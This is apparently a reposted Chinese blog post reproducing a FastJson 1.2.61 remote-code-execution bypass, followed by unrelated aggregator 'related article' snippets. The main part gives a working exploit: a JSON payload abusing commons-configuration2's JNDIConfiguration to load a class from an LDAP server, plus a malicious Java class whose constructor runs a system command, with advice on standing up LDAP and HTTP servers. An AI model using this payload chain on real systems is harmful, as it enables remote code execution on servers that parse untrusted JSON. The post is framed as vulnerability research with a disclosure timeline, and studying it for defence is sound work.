commons-pool2-2.3 jar包_[漏洞复现]FastJson 1.2.61远程代码执行漏洞(From第三方jar包)

前言

最近FastJson更新了黑名单,升级到了1.2.61版本,我尝试bypass其黑名单,在AutType打开的情况下成功绕过了黑名单防护.(目前暂未修复,官方即将更新)

复现环境准备

  • 1.JDK 8U20

  • 2.所需jar清单如下

fastjson-1.2.61.jar
commons-configuration2-2.0.jar
commons-lang3-3.3.2.jar
commons-logging-1.2.jar

FastJson复现

FastJsonTest.java

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.parser.ParserConfig;

public class FastJsonTest {
public static void main(String[] args){

ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

String jsonStr6 = "{\"@type\":\"org.apache.commons.configuration2.JNDIConfiguration\",\"prefix\":\"ldap://127.0.0.1:1389/ExportObject\"}";

JSONObject json = JSON.parseObject(jsonStr6);
json.toJSONString();
}
}

恶意类ExportObject.java

import java.io.BufferedReader;
import java.io.InputStreamReader;

public class ExportObject {
public ExportObject() throws Exception {
Process proc = Runtime.getRuntime().exec("open /Applications/Calculator.app");
BufferedReader br = new BufferedReader(new InputStreamReader(proc.getInputStream()));
StringBuffer sb = new StringBuffer();

String line;
while((line = br.readLine()) != null) {
sb.append(line).append("\n");
}

String result = sb.toString();
Exception e = new Exception(result);
throw e;
}

public static void main(String[] args) throws Exception {
}
}

使用org.apache.commons.configuration2.JNDIConfiguration payload 效果如下

68206282e7f15bb9e3df9db3c097b8fa.png

关于黑名单

Fastjson 在1.2.42版本开始,将原本明文的黑名单改成了hash value的黑名单

37dc2f86f1a744fa4d71077442073662.png

使用这种方式,能在一定程度上减缓安全研究者对fastjson黑名单绕过的速度
关于黑名单,有安全研究者在GitHub上开源了一个项目,叫做fastjson-blacklist,大家可以关注一下.

ad0e5d4f43cf688c54f96146d1b81068.png

后记

对于不会开启rmi和ldap服务的同学可以查阅我的文章——《如何快速开启RMI&&LDAP》,快速开启http服务可以使用python -m SimpleHTTPServer.
使用JNDI进行rce,请注意JDK对于JNDI的修复,可参考pyn3rd师傅的图

e612fdf62baece52bf61c2d272dd558e.png

Reference

fastjson-blacklist:
https://github.com/LeadroyaL/fastjson-blacklist/](https://github.com/LeadroyaL/fastjson-blacklist/
fastjson官方黑名单:
https://github.com/alibaba/fastjson/blob/master/src/main/java/com/alibaba/fastjson/parser/ParserConfig.java
如何快速开启RMI&&LDAP:
https://mp.weixin.qq.com/s/TuQWvyro5vphyeZCAo_Y6g

时间轴

[0] 2019年9月20日 亚信安全提交该漏洞给阿里巴巴
[1] 2019年9月23日 亚信安全网络攻防实验室发布预警公告

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/551943.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

linux安装dev命令,Linux安装与基础命令

首先准备一个liunx镜像和一台安装好虚拟机的电脑。配置好虚拟机,选在稍后安装。选择镜像文件,开启虚拟机进行安装。配置yum源。首先插入光盘。由于是虚拟机,用的光盘镜像,在/mnt/下面创建一个文件夹yum 。 复制所有光盘里的内…

python爬取京东评论_Python如何爬取京东的评价信息

Python如何爬取京东的评价信息 模块:requests,BeautifulSoup import re import time import csv import requests from bs4 import BeautifulSoup def write_a_row_in_csv(data, csv_doc): "save good information into a row in csv document"…

王思聪吃热狗的c语言小程序,王思聪吃热狗火了,开发各种恶搞小程序!王校长:我不要面子的啊...

原标题:王思聪吃热狗火了,开发各种恶搞小程序!王校长:我不要面子的啊近日王校长上了不少次热搜,其中有一条就是王校长吃热狗火了,接下来就出现了各种各样的表情包,手机壳,素描等等。…

python有什么内容_python能做什么

python能做什么?书声琅琅Python培训老师介绍,最近许多的朋友咨询,听说python很火,甚至可以超越JAVA,因此很想学这个python,但是不知道python能做什么,能完成一些什么项目呢?针对这个问题,今天…

酷狗音乐linux版_让父母也爱上音乐 酷狗音乐大字版成中老年人新宠

当智能手机成为人们日常生活中必不可少的一部分,手机早已从单纯的通话设备变成了功能强大的“百宝箱”,听音乐、看视频、拍照上网早已不是什么新鲜事。然而在我们玩手机玩的不亦乐乎时,你有没有关注过爸妈对使用智能手机的接受度?…

二分法求近似根c语言程序,求一C++风格程序,用二分法求f(x)=0的根

满意答案vwamuoor8000推荐于 2018.04.24#include #include typedef double (*F)(double);/* brief 二分法求解函数* param[in] f 求解的函数* param[in] a, b 求解的区间端点* param[in] 吵盯e 精度* pre f(a)*f(b)<0且f在该闭区间上连续* return 方程液枝的解 */double sol…

react的导出是怎么实现的_从零开始开发一个 React

这个是从零开始开发一个 React 系列的第七篇。想要访问之前的内容可以点击下方的链接进行访问&#xff1a;最简单的实现&#xff0c;包括 vdom 结构&#xff0c;createElement&#xff0c;ReactDOM.render增加 Class 的支持增加 JSX 的支持增加 state 支持增加声明周期增加 dom…

python io操作有什么_Python笔记:文件IO操作

读取文件 使用open()打开文件&#xff0c;文件不存在会抛出IOError错误。 try: f open(/path/to/file, r) print(f.read()) finally: if f: f.close() 文件读取完成一定要close()&#xff0c;为了保证在报错的时候也能close()&#xff0c;这里用了finally语句&#xff0c;更简…

c语言编程被当作病毒,为什么这个微不足道的C程序被检测为病毒?

我有点生锈在C,但我遇到了这个奇怪的问题&#xff1a;我写了这个程序&#xff1a;#include main(){int n;n1;while (n>0){puts("Write a number: ");scanf(" %d",&n);printf("This is the number you wrote: %d\n", n);}}显然绝对没有语法…

太极发送卡片软件_QQ卡片式消息一键发送app

QQ卡片式消息一键发送app这是一款能够帮助你有创意的发送广告的app。属于qq的辅助工具&#xff0c;能够让你发送属于自己的卡片信息。如果你想要给自己打广告或者发送某张图片&#xff0c;或者想要显示应用&#xff0c;就可以使用这款软件&#xff0c;它能够帮你迅速地生成卡片…

c语言中字符串 x,使用c语言解析字符串176x144中的数字

在做jpeg codec的时候&#xff0c;经常需要输入图片的大小&#xff0c;即长和宽。对于一个jpeg图片&#xff0c;它的大小几乎是任意的&#xff0c;所以只能用数字来表示&#xff0c;而不能选择cif&#xff0c;qcif等这类固定的图片格式。在用数字表示图片大小时&#xff0c;大家…

python列表生成式内必须定义匿名函数_Python基础-----基础概念总结

Python基础-----基础概念总结 Python程序的构成 构成图行连接符&#xff1a;\对象基本构成和内存示意图对象及其引用&#xff08;变量&#xff09;标识符 基本用法命名规则变量和简单的赋值语句 变量声明必须初始化删除变量和垃圾回收机制链式复制系列解包赋值常量&#xff08;…

英语四级c语言,2017年大学英语四级精选试题练习

2017年大学英语四级精选试题练习勤奋和智慧是双胞胎&#xff0c;懒惰和愚蠢是亲兄弟。以下是小编为大家搜索整理的2017年大学英语四级精选试题练习&#xff0c;希望能给大家带来帮助!更多精彩内容请及时关注我们应届毕业生考试网!1、Courses with the numbers 800 or above are…

如何获取图像的驱动_Adobe Camera Raw 12 Mac(Raw格式图像ps插件) v12.2.1.417

Adobe Camera Raw 12 Mac版可以让摄影师在熟悉的Photoshop界面内打开并编辑这些RAW文件&#xff0c;极大的方便了摄影师的工作。Adobe Camera Raw 12 for Mac安装教程下载完成后&#xff0c;双击CameraRaw_12_2_1.pkg文件打开&#xff0c;根据安装器提示进行安装即可。安装完成…

centos usb转网口_CentOS5.6系统中安装并使用USB无线网卡(配置成功) 转

最近一直在配置linux服务器&#xff0c;因为家里装修的时候没有在墙面预留网络接口&#xff0c;所以我的台式机也使用无线网卡连接网络。在CentOS6.2下安装无线网卡的方法和CentOS5.6的方法是一样的&#xff0c;只是CentOS6.2下安装后&#xff0c;右上角会自动出现NetworkManag…

c语言中执行一次的函数once,iOS只执行一次的方法

IOS开发(64)之GCD任务最多只执行一次1 前言使用 dispatch_once 函数 在 APP 的生命周期内来保证你想确保每段代码只执行一次,即使它在代码的不同地方多次调用(比如单例的初始化)。2 代码实例ZYAppDelegate.m[plain]/一个用于调度一次函数的标识static dispatch_once_t onceToke…

python条件语句练习题_python学习-7 条件语句 while循环 + 练习题

1.死循环while 1 1:print(ok)结果是一直循环2.循环count 0while count < 10:print(count)count count 1print(error)3.练习题~ 使用while循环输出1 2 3 4 5 6 8 9 10count 1while count < 10 : # 或者count < 11if count 7:print( ) # 也可以添加pass&#xff…

c语言error ld returned,[Error] ld returned 1的错误

该楼层疑似违规已被系统折叠 隐藏此楼查看此楼#include #include #include #include #include#define MAX 101#define N 1000#define M 250000/*函数功能&#xff1a;利用字符串实现超长数加减法运算 */void jianfa(int a[],int b[],int f);int lena,lenb,da1,db1; /* 把lena,l…

微信支持环信_环信客户互动云v5.39已发布:支持微信小程序接入

环信客户互动云v5.39_产品更新说明发布日期&#xff1a;2018-11-06客服模式质检中新增会话ID字段质检中新增会话ID字段&#xff0c;与历史会话中的会话ID对应&#xff0c;支持根据会话ID搜索质检会话&#xff0c;以及在质检详情中查看会话ID。便于质检员发现有问题的会话时&…

Android多线程优劣,Android 开发中用到的几个多线程解析

在开发工程中线程可以帮助我们提高运行速度&#xff0c;Android开发中我知道的线程有四个一个是老生长谈的Thread&#xff0c;第二个是asyncTask,第三个&#xff1a;TimetTask,第四个是Looper,四个多线程各有个的有点&#xff0c;Thread的运行速度是最快的&#xff0c;AsyncTas…